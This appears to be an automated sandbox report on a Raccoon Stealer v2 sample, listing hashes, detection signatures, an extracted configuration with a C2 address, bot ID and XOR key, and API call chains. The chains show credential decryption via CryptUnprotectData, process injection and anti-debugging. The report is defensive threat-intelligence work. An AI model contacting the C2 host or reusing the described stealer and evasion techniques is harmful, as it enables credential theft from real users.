Windows Analysis Report
SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe

Overview

General Information

Sample name: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe
Analysis ID: 1417514
MD5: 20540ccd8f4132e0fff9daec9f143997
SHA1: 0fb2c50a19db4b8f2c6998e85b437780765fd61c
SHA256: 25f7e04b4c4fe0f1dc604270cbe8a53433580f9c5372f56abac420de4ced4322
Tags: exe
Infos:

Detection

Raccoon Stealer v2
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Found malware configuration
Snort IDS alert for network traffic
Yara detected Raccoon Stealer v2
.NET source code contains very large array initializations
Allocates memory in foreign processes
C2 URLs / IPs found in malware configuration
Contains functionality to inject code into remote processes
Found evasive API chain (may stop execution after checking mutex)
Injects a PE file into a foreign processes
Machine Learning detection for sample
Tries to delay execution (extensive OutputDebugStringW loop)
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Extensive use of GetProcAddress (often used to hide API calls)
Found dropped PE file which has not been started or loaded
Internet Provider seen in connection with other malware
One or more processes crash
PE file contains an invalid checksum
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Tries to load missing DLLs
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Yara detected Credential Stealer

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Avira: detected
Found malware configuration
Source: 00000000.00000002.1286483341.00000000031E6000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: Raccoon {"C2 url": ["http://89.238.170.230:80"], "Bot ID": "d1fc95c6179be4b0b4f93eff6ab3f08f", "XOR key": "d1fc95c6179be4b0b4f93eff6ab3f08f"}
Machine Learning detection for sample
Source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Joe Sandbox ML: detected
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00402C05 LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,LocalFree,CryptUnprotectData,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,PathCombineW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LocalAlloc,LocalFree,LocalFree,LocalAlloc,lstrcpy,LocalAlloc,lstrcmp,LocalAlloc,lstrcmpW,wsprintfW,lstrlenW,wsprintfW,lstrlenW,CryptUnprotectData,lstrcmpW,wsprintfW,lstrlenW,wsprintfW,lstrlenW,LocalFree,LocalFree,LocalFree,LocalFree, 3_2_00402C05
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040318A LocalAlloc,StrCpyW,LocalAlloc,LocalAlloc,LocalFree,CryptUnprotectData,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LocalAlloc,LocalAlloc,PathCombineW,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,lstrcpy,LocalAlloc,lstrcmp,LocalAlloc,wsprintfW,lstrlenW,lstrlenW,LocalFree,CryptUnprotectData,wsprintfW,lstrlenW,lstrlenW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree, 3_2_0040318A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00402723 LocalAlloc,StrCpyW,LocalAlloc,LocalAlloc,LocalFree,CryptUnprotectData,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LocalAlloc,LocalAlloc,PathCombineW,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,lstrcpy,LocalAlloc,lstrcmp,LocalAlloc,wsprintfW,lstrlenW,lstrlenW,LocalFree,CryptUnprotectData,wsprintfW,lstrlenW,lstrlenW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree, 3_2_00402723
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00401639 CryptStringToBinaryW,LocalAlloc,CryptStringToBinaryW,LocalFree, 3_2_00401639
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_004044BB LocalAlloc,StrCpyW,LocalAlloc,LocalAlloc,LocalFree,CryptUnprotectData,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LocalAlloc,LocalAlloc,PathCombineW,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,lstrcpy,LocalAlloc,lstrcmp,LocalAlloc,wsprintfW,lstrlenW,lstrlenW,LocalFree,CryptUnprotectData,wsprintfW,lstrlenW,lstrlenW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree, 3_2_004044BB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040823C LocalAlloc,CryptStringToBinaryA,lstrlenA,CryptStringToBinaryA,MultiByteToWideChar,LocalAlloc,MultiByteToWideChar,StrCpyW,LocalFree,StrCpyW,StrCpyW,LocalFree, 3_2_0040823C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_004015BE CryptBinaryToStringW,LocalAlloc,CryptBinaryToStringW,StrCpyW,LocalFree,LocalFree, 3_2_004015BE
Uses 32bit PE files
Source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: Birding.pdb source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, WER1262.tmp.dmp.7.dr
Source: Binary string: freebl3.pdb source: freebl3.dll.3.dr
Source: Binary string: softokn3.pdbp source: softokn3.dll.3.dr
Source: Binary string: $$.pdb)s source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, 00000000.00000002.1285616817.00000000012FA000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Birding.pdbbp>- source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, 00000000.00000002.1285674615.0000000001452000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\symbols\exe\Birding.pdbD source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, 00000000.00000002.1285674615.000000000143C000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: Birding.pdbirding.pdbpdbing.pdbpdb source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, 00000000.00000002.1285616817.00000000012FA000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: Birding.pdbh source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe
Source: Binary string: \??\C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.PDB source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, 00000000.00000002.1285674615.0000000001452000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: mscorlib.pdbL0vw# source: WER1262.tmp.dmp.7.dr
Source: Binary string: @xo.pdbsw source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, 00000000.00000002.1285616817.00000000012FA000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\Desktop\Birding.pdb source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, 00000000.00000002.1285674615.0000000001452000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: mscorlib.ni.pdbRSDS source: WER1262.tmp.dmp.7.dr
Source: Binary string: mozglue.pdb source: mozglue.dll.3.dr
Source: Binary string: Birding.pdbS source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, 00000000.00000002.1285674615.0000000001484000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: d:\agent\_work\2\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.3.dr
Source: Binary string: \??\C:\Users\user\Desktop\Birding.pdb1 source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, 00000000.00000002.1285674615.0000000001452000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: HPlo0C:\Windows\Birding.pdb source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, 00000000.00000002.1285616817.00000000012FA000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: d:\agent\_work\2\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.3.dr
Source: Binary string: mscorlib.pdb source: WER1262.tmp.dmp.7.dr
Source: Binary string: mozglue.pdb@+ source: mozglue.dll.3.dr
Source: Binary string: symbols\exe\Birding.pdb source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, 00000000.00000002.1285616817.00000000012FA000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: mscorlib.ni.pdb source: WER1262.tmp.dmp.7.dr
Source: Binary string: nss3.pdb source: nss3.dll.3.dr
Source: Binary string: C:\Windows\Birding.pdbpdbing.pdb source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, 00000000.00000002.1285674615.0000000001452000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\exe\Birding.pdb source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, 00000000.00000002.1285674615.0000000001452000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: softokn3.pdb source: softokn3.dll.3.dr
Source: Binary string: \??\C:\Windows\Birding.pdbJp&- source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, 00000000.00000002.1285674615.0000000001452000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ?xoC:\Users\user\Desktop\Birding.pdbsw source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, 00000000.00000002.1285616817.00000000012FA000.00000004.00000010.00020000.00000000.sdmp
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040DC49 SetEnvironmentVariableA,CreateWaitableTimerA,OutputDebugStringA,RegOpenKeyExA,CreateWaitableTimerA,GetLastError,GetLastError,CancelWaitableTimer,FindFirstFileA,FindClose,CreateSemaphoreA,ReleaseSemaphore,CreateEventA,SetEvent,ResetEvent,CreateSemaphoreA,ReleaseSemaphore,GetLastError,CreateMutexA,OutputDebugStringA,ReleaseMutex,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,LocalAlloc,lstrlenA,FindFirstFileA,FindClose,CreateSemaphoreA,RegOpenKeyExA,ReleaseSemaphore,CreateWaitableTimerA,CancelWaitableTimer,OutputDebugStringA,GetLastError,CreateFileMappingW, 3_2_0040DC49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00404B50 SetEnvironmentVariableA,CreateSemaphoreA,GetLastError,OutputDebugStringA,CreateSemaphoreA,ReleaseSemaphore,ReleaseSemaphore,CreateMutexA,CreateFileMappingW,RegOpenKeyExA,CloseHandle,CreateEventA,SetEvent,ResetEvent,FindFirstFileA,FindFirstFileA,FindClose,CreateMutexA,ReleaseMutex,RegOpenKeyExA,CreateSemaphoreA,ReleaseSemaphore,GetLastError,CreateFileMappingW,FindFirstFileA,FindClose,CreateEventA,SetEvent,ResetEvent,CreateEventA,SetEvent,ResetEvent,LocalAlloc,GetLastError,LocalFree,LocalFree,LocalAlloc,LocalFree,GetLastError,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,OutputDebugStringA,SetEnvironmentVariableA,CreateWaitableTimerA,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,CreateWaitableTimerA,GetLastError,CancelWaitableTimer,CreateWaitableTimerA,RegOpenKeyExA,CancelWaitableTimer,CreateSemaphoreA,GetLastError,ReleaseSemaphore,LocalAlloc,LocalFree,OutputDebugStringA,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,SetEnvironmentVariableA,CreateWaitableTimerA,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,FindFirstFileA,FindClose,CreateMutexA,ReleaseMutex,CreateFileMappingW,CloseHandle,OutputDebugStringA,OutputDebugStringA,CreateWaitableTimerA,CancelWaitableTimer,CreateMutexA,CreateWaitableTimerA,CreateSemaphoreA,CancelWaitableTimer,SetEnvironmentVariableA,CreateFileMappingW,FindCloseChangeNotification,CreateMutexA,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,CancelWaitableTimer,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,GetLastError,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,CreateFileMappingW,SetEnvironmentVariableA,FindCloseChangeNotification,FindFirstFileA,FindClose,CreateSemaphoreA,RegOpenKeyExA,ReleaseSemaphore,ReleaseSemaphore,CreateMutexA,GetLastError,ReleaseMutex,OutputDebugStringA,RegOpenKeyExA,CreateWaitableTimerA,CancelWaitableTimer,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,CreateSemaphoreA,ReleaseSemaphore,SetEnvironmentVariableA,CreateWaitableTimerA,CancelWaitableTimer,RegOpenKeyExA,CreateSemaphoreA,OutputDebugStringA,ReleaseSemaphore,ReleaseSemaphore,CreateFileMappingW,FindCloseChangeNotification,CreateWaitableTimerA,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,FindFirstFileA,FindClose,CreateMutexA,ReleaseMutex,RegOpenKeyExA,OutputDebugStringA,CreateFileMappingW,CreateFileMappingW,FindCloseChangeNotification,CreateFileMappingW,RegOpenKeyExA,CloseHandle,LocalAlloc,CreateMutexA,OutputDebugStringA,ReleaseMutex,SetEnvironmentVariableA,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,CreateSemaphoreA,ReleaseSemaphore,ReleaseSemaphore,OutputDebugStringA,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,CreateMutexA,ReleaseMutex,LocalAlloc,RegOpenKeyExA,LocalFree,CreateFileMappingW,RegOpenKeyExA,FindCloseChangeNotification,CreateEventA,SetEvent,ResetEvent,CreateMutexA,ReleaseMutex,OutputDebugStringA,SetEnvironmentVariableA,CreateSemaphoreA,OutputDebugStringA,ReleaseSem 3_2_00404B50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00409ADC EntryPoint,LocalAlloc,LocalFree,OutputDebugStringA,OutputDebugStringA,CreateSemaphoreA,ReleaseSemaphore,CreateWaitableTimerA,CreateWaitableTimerA,CancelWaitableTimer,CreateWaitableTimerA,SetEnvironmentVariableA,SetEnvironmentVariableA,CancelWaitableTimer,CreateSemaphoreA,ReleaseSemaphore,CoInitialize,CreateFileMappingW,SetEnvironmentVariableA,FindCloseChangeNotification,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,CreateWaitableTimerA,CreateWaitableTimerA,CancelWaitableTimer,RegOpenKeyExA,CreateWaitableTimerA,CancelWaitableTimer,GetLastError,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,LocalAlloc,LocalFree,OutputDebugStringA,CreateWaitableTimerA,OutputDebugStringA,SetEnvironmentVariableA,CancelWaitableTimer,CreateMutexA,SetEnvironmentVariableA,ReleaseMutex,OutputDebugStringA,CreateSemaphoreA,ReleaseSemaphore,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,CreateWaitableTimerA,ExitProcess,CreateWaitableTimerA,CancelWaitableTimer,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,FindFirstFileA,FindClose,LocalAlloc,LocalFree,GetLastError,SetEnvironmentVariableA,CreateWaitableTimerA,GetLastError,GetLastError,OutputDebugStringA,CancelWaitableTimer,CreateMutexA,ReleaseMutex,SetEnvironmentVariableA,GetLastError,CreateEventA,SetEvent,ResetEvent,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,CreateFileMappingW,SetEnvironmentVariableA,FindCloseChangeNotification,SetEnvironmentVariableA,LocalAlloc,LocalFree,CreateWaitableTimerA,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,CreateWaitableTimerA,CancelWaitableTimer,RegOpenKeyExA,LocalAlloc,SetEnvironmentVariableA,LocalFree,SetEnvironmentVariableA,CreateWaitableTimerA,CancelWaitableTimer,SetEnvironmentVariableA,CreateFileMappingW,GetLastError,FindCloseChangeNotification,CreateSemaphoreA,CreateSemaphoreA,ReleaseSemaphore,CreateWaitableTimerA,CancelWaitableTimer,RegOpenKeyExA,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,OutputDebugStringA,FindFirstFileA,FindClose,CreateSemaphoreA,ReleaseSemaphore,SetEnvironmentVariableA,OutputDebugStringA,CreateSemaphoreA,ReleaseSemaphore,CreateEventA,SetEvent,ResetEvent,CreateWaitableTimerA,CreateWaitableTimerA,CancelWaitableTimer,OutputDebugStringA,CreateFileMappingW,CloseHandle,CreateMutexA,ReleaseMutex,RegOpenKeyExA,GetLastError,CreateFileMappingW,FindCloseChangeNotification,OutputDebugStringA,CreateMutexA,ReleaseMutex,LocalAlloc,LocalFree,RegOpenKeyExA,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,CreateSemaphoreA,CreateSemaphoreA,ReleaseSemaphore,CreateSemaphoreA,SetEnvironmentVariableA,ReleaseSemaphore,RegOpenKeyExA,CreateEventA,SetEvent,ResetEvent,CreateWaitableTimerA,CreateEventA,SetEvent,ResetEvent,LocalAlloc,OutputDebugStringA,LocalFree,OutputDebugStringA,CreateFileMappingW,OutputDebugStringA,FindCloseChangeNotification,CreateSemaphoreA,SetEnvironmentVariableA,ReleaseSemaphore,GetLastError,FindFirstFileA,FindClose,CreateWaitableTimerA,CreateWa 3_2_00409ADC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040F4F1 CancelWaitableTimer,CreateSemaphoreA,ReleaseSemaphore,GetLastError,CreateEventA,SetEvent,ResetEvent,CreateMutexA,OutputDebugStringA,OutputDebugStringA,ReleaseMutex,SetEnvironmentVariableA,CreateFileMappingW,CreateFileMappingW,CloseHandle,FindCloseChangeNotification,LocalAlloc,LocalFree,FindFirstFileA,LocalAlloc,CreateFileMappingW,OutputDebugStringA,CloseHandle,SetEnvironmentVariableA,SetEnvironmentVariableA,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,OutputDebugStringA,CreateMutexA,ReleaseMutex,OutputDebugStringA,OutputDebugStringA,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,SetEnvironmentVariableA,FindFirstFileA,FindClose,LocalAlloc,RegOpenKeyExA,RegOpenKeyExA,LocalFree,RegOpenKeyExA,CreateWaitableTimerA,RegQueryValueExW,RegQueryValueExW, 3_2_0040F4F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040ED79 lstrlenA,SetEnvironmentVariableA,CreateWaitableTimerA,OutputDebugStringA,CreateWaitableTimerA,CancelWaitableTimer,CreateMutexA,RegOpenKeyExA,OutputDebugStringA,OutputDebugStringA,ReleaseMutex,RegOpenKeyExA,OutputDebugStringA,OutputDebugStringA,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,LocalAlloc,RegOpenKeyExA,LocalFree,CreateSemaphoreA,ReleaseSemaphore,CreateEventA,SetEvent,ResetEvent,CreateWaitableTimerA,GetLastError,CancelWaitableTimer,OutputDebugStringA,LocalAlloc,MultiByteToWideChar,CreateFileMappingW,GetLastError,FindCloseChangeNotification,FindFirstFileA,FindClose,CreateWaitableTimerA,CancelWaitableTimer,RegOpenKeyExA,CreateEventA,SetEvent,ResetEvent,CreateWaitableTimerA,CancelWaitableTimer,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,OutputDebugStringA,LocalAlloc,SetEnvironmentVariableA,SetEnvironmentVariableA,LocalFree,OutputDebugStringA,SetEnvironmentVariableA, 3_2_0040ED79
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040EB7B CreateEventA,SetEvent,ResetEvent,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,CreateWaitableTimerA,CancelWaitableTimer,CancelWaitableTimer,SetEnvironmentVariableA,FindFirstFileA,FindClose,CreateFileMappingW,OutputDebugStringA,CloseHandle,SetEnvironmentVariableA,LocalAlloc,LocalFree,OutputDebugStringA,CreateWaitableTimerA,CancelWaitableTimer,GetLastError,CreateSemaphoreA,ReleaseSemaphore,lstrlenW,LocalAlloc,LocalAlloc,StrCpyW,LocalFree, 3_2_0040EB7B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040E48D OutputDebugStringA,CreateWaitableTimerA,CreateSemaphoreA,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,CreateSemaphoreA,ReleaseSemaphore,CreateEventA,SetEvent,ResetEvent,LocalAlloc,LocalFree,GetLastError,CreateWaitableTimerA,GetLastError,CancelWaitableTimer,OutputDebugStringA,CreateWaitableTimerA,LocalAlloc,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,CreateEventA,SetEvent,ResetEvent,CreateWaitableTimerA,SetEnvironmentVariableA,SetEnvironmentVariableA,CancelWaitableTimer,GetLastError,FindFirstFileA,FindClose,SetEnvironmentVariableA,CreateFileMappingW,CloseHandle,GetLastError,CreateWaitableTimerA,CancelWaitableTimer,OutputDebugStringA,OutputDebugStringA,LocalAlloc,SetEnvironmentVariableA,LocalFree,CreateSemaphoreA,OutputDebugStringA,ReleaseSemaphore,OutputDebugStringA,OutputDebugStringA,CreateMutexA,RegOpenKeyExA,ReleaseMutex,SetEnvironmentVariableA,SHGetFolderPathW,CreateEventA,SetEvent,ResetEvent,FindFirstFileA,FindClose,CreateMutexA,ReleaseMutex,RegOpenKeyExA,CreateFileMappingW,RegOpenKeyExA,CloseHandle,RegOpenKeyExA,CreateWaitableTimerA,CancelWaitableTimer,StrCpyW,LocalFree,LocalFree, 3_2_0040E48D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040F012 CancelWaitableTimer,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,CreateFileMappingW,FindCloseChangeNotification,LocalAlloc,GetLastError,GetLastError,LocalFree,CreateWaitableTimerA,CancelWaitableTimer,OutputDebugStringA,OutputDebugStringA,CreateEventA,SetEvent,ResetEvent,CreateMutexA,SetEnvironmentVariableA,SetEnvironmentVariableA,ReleaseMutex,SetEnvironmentVariableA,GetLastError,CreateWaitableTimerA,GetLastError,CancelWaitableTimer,OutputDebugStringA,GetLastError,CreateFileMappingW,FindCloseChangeNotification,OutputDebugStringA,FindFirstFileA,FindClose,CreateSemaphoreA,CreateSemaphoreA,OutputDebugStringA,ReleaseSemaphore,ReleaseSemaphore,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,CreateMutexA,ReleaseMutex,RegOpenKeyExA,LocalAlloc,GlobalFree, 3_2_0040F012
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_004070C9 LocalAlloc,StrCpyW,FindFirstFileW,LocalFree,LocalAlloc,PathCombineW,LocalAlloc,PathCombineW,LocalAlloc,StrCpyW,LocalAlloc,lstrlenW,LocalFree,LocalFree,LocalAlloc,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalFree,CloseHandle,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,FindClose, 3_2_004070C9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040194A FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,StrStrW,lstrlenW,lstrlenW,LocalAlloc,PathCombineW,LocalFree,lstrlenW,FindNextFileW,FindClose, 3_2_0040194A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00409452 LocalAlloc,LocalAlloc,LocalAlloc,PathCombineW,PathCombineW,GetFileSize,LocalAlloc,ReadFile,lstrlenA,StrStrA,lstrlenA,StrStrA,LocalAlloc,FindFirstFileW,StrStrW,StrStrW,StrStrW,lstrlenW,lstrlenW,LocalAlloc,StrStrW,StrCpyW,LocalAlloc,PathCombineW,PathCombineW,LocalFree,FindNextFileW,FindClose,LocalFree,CloseHandle,LocalFree,LocalFree, 3_2_00409452
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00410952 LocalAlloc,StrCpyW,FindFirstFileW,LocalAlloc,PathCombineW,LocalFree,LocalAlloc,PathCombineW,LocalAlloc,GetFileSize,LocalAlloc,StrCpyW,LocalAlloc,lstrlenW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CloseHandle,LocalAlloc,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,FindClose, 3_2_00410952
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040CA58 LocalAlloc,StrCpyW,FindFirstFileW,LocalFree,LocalAlloc,PathCombineW,LocalAlloc,PathCombineW,LocalAlloc,StrCpyW,LocalAlloc,lstrlenW,LocalFree,LocalFree,LocalAlloc,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalFree,CloseHandle,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,FindClose, 3_2_0040CA58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_004105DE LocalAlloc,LocalAlloc,SHGetSpecialFolderPathW,lstrcmpW,StrCpyW,StrCpyW,FindFirstFileW,LocalFree,LocalFree,lstrcmpW,lstrcmpW,LocalAlloc,PathCombineW,lstrcmpW,LocalAlloc,PathCombineW,LocalAlloc,LocalAlloc,SHGetSpecialFolderPathW,lstrlenW,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalAlloc,GetFileSize,LocalAlloc,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,LocalFree,FindClose, 3_2_004105DE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00403BE6 LocalAlloc,FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalAlloc,GetFileSize,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,LocalAlloc,WideCharToMultiByte,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree, 3_2_00403BE6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040E179 CreateEventA,SetEvent,ResetEvent,CreateMutexA,RegOpenKeyExA,ReleaseMutex,GetLastError,RegOpenKeyExA,CreateWaitableTimerA,RegOpenKeyExA,CancelWaitableTimer,FindFirstFileA,FindClose,CreateSemaphoreA,CreateSemaphoreA,ReleaseSemaphore,ReleaseSemaphore,RegOpenKeyExA,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,OutputDebugStringA,RegOpenKeyExA,LocalAlloc,OutputDebugStringA,LocalFree,SetEnvironmentVariableA,CreateFileMappingW,FindFirstFileW, 3_2_0040E179
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_004084FB LocalAlloc,FindFirstFileW,StrStrW,LocalAlloc,PathCombineW,LocalAlloc,GetFileSize,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,LocalAlloc,WideCharToMultiByte,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree, 3_2_004084FB
